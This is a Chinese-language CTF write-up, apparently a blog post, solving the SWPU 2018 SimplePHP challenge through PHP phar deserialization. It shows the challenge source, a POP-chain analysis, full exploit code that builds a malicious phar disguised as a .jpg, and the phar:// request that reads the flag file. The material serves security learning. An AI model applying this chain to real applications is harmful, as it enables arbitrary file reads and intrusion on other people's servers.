首页 > 编程语言 >新手大白话 [SWPU 2018]SimplePHP Phar反序列化

新手大白话 [SWPU 2018]SimplePHP Phar反序列化

时间:2024-04-22 14:48:17浏览次数:25  
标签:function __ get SimplePHP Phar source file 序列化 public

今天再做个Phar反序列化巩固下。
进入题目发现了查看文件与上传文件,与自己的IP。

利用burp抓包进行查看,

先尝试index.php,发现base.php,查看base.php

发现flag所在文件,再查看file.php,发现function.php class.php

点击查看代码
class.php
 <?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?> 
在class.php中一眼可以看出注入点base64_encode(file_get_contents($value)),流程是__get->get->file_get,如何触发__get成为问题,__get的触发条件是在获取私有属性时自动调用,可以发现在Show中的__toString中可以触发,而__tostring则在C1e4r类中的echo触发,那么整个pop链的构造很清晰了。上payload:
点击查看代码
<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct()
    {
        $this->str['str']=new Test();
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }

    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file='/var/www/html/f1ag.php';
    public $params;
    public function __construct()
    {
        $this->params['source']=$this->file;
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}

$a = new C1e4r(new Show());

$phar = new Phar('exp.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER();?>');
$phar->setMetadata($a);
$phar->addFromString('1.txt','1');
$phar->stopBuffering();

跟上次一样将代码网页进行部署访问得到exp.phar,因为在function.php中有后缀限制,所以改为exp.jpg进行上传。这时发现没有返回文件地址,我们在function中可以发现文件名为md5('你上传的文件名'.'用户的ip') 在查看文件页面利用burp抓包进行访问 payload: file.php?file=phar://upload/xxxxxxxxx.jpg

标签:function,__,get,SimplePHP,Phar,source,file,序列化,public
From: https://www.cnblogs.com/jocker-love-you/p/18150595

相关文章

  • 序列化反序列化
    【一】序列化常见字段​ 序列化类中有很多多字段,如CharFieldIntegerField,他们会跟models里面的字段一一对应,除了这些,序列化类还多出了两个字段ListField和DictField,非常重要字段字段构造方式BooleanFieldBooleanField()NullBooleanFieldNullBooleanField()......
  • 新手大白话 [SWPUCTF 2021 新生赛]babyunser phar反序列化
    进入赛题网站第一眼以为是文件上传,尝试没效果,看题目标签为phar反序列化,这类也就是文件包含php伪协议的一种,实质上就是上传phar文件,利用网页给予的文件读取页面利用phar伪协议进行读取来触发一句话木马,好现在开始做题。(一点也不新生)利用查看文件来收集信息,查看read.php点击查看......
  • Java安全基础之Java序列化与反序列化
    目录ObjectInputStream和ObjectOutputStreamjava.io.Serializable自定义序列化和反序列化Java的序列化(Serialization)是指将对象转换为字节序列的过程,而反序列化(Deserialization)则是将字节序列转换回对象的过程。序列化和反序列化通常用于在网络上传输对象或者将对象持久化到......
  • 01、Java 安全-反序列化基础
    Java反序列化基础1.ObjectOutputStream与ObjectInputStream类1.1.ObjectOutputStream类java.io.ObjectOutputStream类,将Java对象的原始数据类型写出到文件,实现对象的持久存储。序列化操作一个对象要想序列化,必须满足两个条件:该类必须实现java.io.Serializable接口,......
  • json反序列化 JsonConvert.DeserializeObject 报错 One or more errors occurred. (U
    接口返回的字符串肉眼看起来正常,也是标准json,反序列化时候报错,字符串添加了UTF8-BOM头(windows记事本默认编码),可以通过以下代码移除标头//模拟json字符串对象varjsonStr="{}";byte[]buffer=Encoding.UTF8.GetBytes(jsonStr);varsResult=Encoding.UTF8.GetString......
  • drf序列化用APIView写编写5个接口并校验数据
    步骤:写一个类,继承Serialier在类中写字段,字段就是要序列化的字段在视图函数中,序列化类,实例化得到对象,传入该传的参数调用序列化类对象的serializer.data方法完成序列化【一】写序列化类serializer.pyfromrest_frameworkimportserializersfromrest_framework.e......
  • fastjson 1.2.24 反序列化导致任意命令执行漏洞复现
    前置知识今天复现了常见的fastjson反序列化漏洞,了解该漏洞需要一些前置的知识,这里总结一下:Fastjsonfastjson是一个Java的库,可以将Java对象转换为Json字符串,也可以将Json字符串转换为Java对象,Fastjson也可以操作一些Java中的对象。JNDIJNDI(JavaNamingandDirectoryInterf......
  • C3P0反序列化链分析
    前言C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。使用它的开源项目有Hibernate、Spring等。之前有接触到过,但是没有深入了解,像之前学二次反序列化时,WrapperConnectionPoolDataSource就是C3P0的环境搭建<dependency><groupId>com.......
  • DRF之序列化类介绍及使用
    一、序列化类1、介绍序列化组件在DRF中扮演着重要的角色,帮助开发者轻松地定义数据的序列化和反序列化过程,同时提供了数据验证、字段定义、嵌套序列化等功能。通过使用序列化组件,您可以更好地控制API的数据输入和输出,确保数据的有效性和一致性。serializers.Serializer是基......
  • Kryo反序列化链分析
    前言Kryo是一个快速序列化/反序列化工具,依赖于字节码生成机制(底层使用了ASM库),因此在序列化速度上有一定的优势,但正因如此,其使用也只能限制在基于JVM的语言上。Kryo序列化出的结果,是其自定义的,独有的一种格式。由于其序列化出的结果是二进制的,也即byte[],因此像redis这样可以存......